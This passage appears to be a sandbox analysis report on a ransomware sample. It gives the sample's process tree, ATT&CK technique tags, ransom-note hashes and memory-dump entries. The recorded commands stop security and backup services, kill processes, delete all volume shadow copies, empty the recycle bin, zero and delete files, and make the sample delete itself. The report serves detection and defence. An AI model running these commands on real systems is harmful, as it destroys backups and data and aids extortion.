    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2024
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2376
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:540
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2096
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2088
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2076
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1732
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2712
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2704
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2696
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2688
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2680
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2156
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2720
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:596
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2268
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1684
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2564
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp2A9A.bat
  2⤵
  PID:1708
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2284
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2472
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:876
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2376

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1492725713-6743437431875158005965246599189390821520038254794290296815246398"
1⤵
PID:876

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1626908867-938290588-34745642721436451532070492-1375201168-1025072553-1789778862"
1⤵
PID:592

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2928

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-75026178-80914728214561763859274452-1820777830674140817226159042045228077"
1⤵
PID:1732

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1152456284332545297-1027351153-1224617899-1344047336-1889522502-1325866013387465751"
1⤵
PID:692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
956220ce7c095e5947b501589395c2ab

SHA1
7ed9843d1f72f14e4073f9f13354f8b5e7ce0929

SHA256
5ece63b55abd728ec5a01077fb620dc972c214a1063eacfe58cb889655fdddf3

SHA512
cdd1f867f951da76669230109db8c807c06be3e78563510d7f44998e4bafa189bb5799249f538162ec4c4a7b9f8db488344af28a2d08eb5c78646b1aaccfbb0c

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
956220ce7c095e5947b501589395c2ab

SHA1
7ed9843d1f72f14e4073f9f13354f8b5e7ce0929

SHA256
5ece63b55abd728ec5a01077fb620dc972c214a1063eacfe58cb889655fdddf3

SHA512
cdd1f867f951da76669230109db8c807c06be3e78563510d7f44998e4bafa189bb5799249f538162ec4c4a7b9f8db488344af28a2d08eb5c78646b1aaccfbb0c

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memory/564-58-0x0000000002520000-0x0000000002560000-memory.dmp

Filesize
256KB

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memory/564-59-0x0000000002520000-0x0000000002560000-memory.dmp

Filesize
256KB

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memory/1596-54-0x00000000010D0000-0x00000000010EC000-memory.dmp

Filesize
112KB

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memory/1596-55-0x00000000005A0000-0x00000000005E0000-memory.dmp

Filesize
256KB

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memory/1596-113-0x00000000005A0000-0x00000000005E0000-memory.dmp

Filesize
256KB

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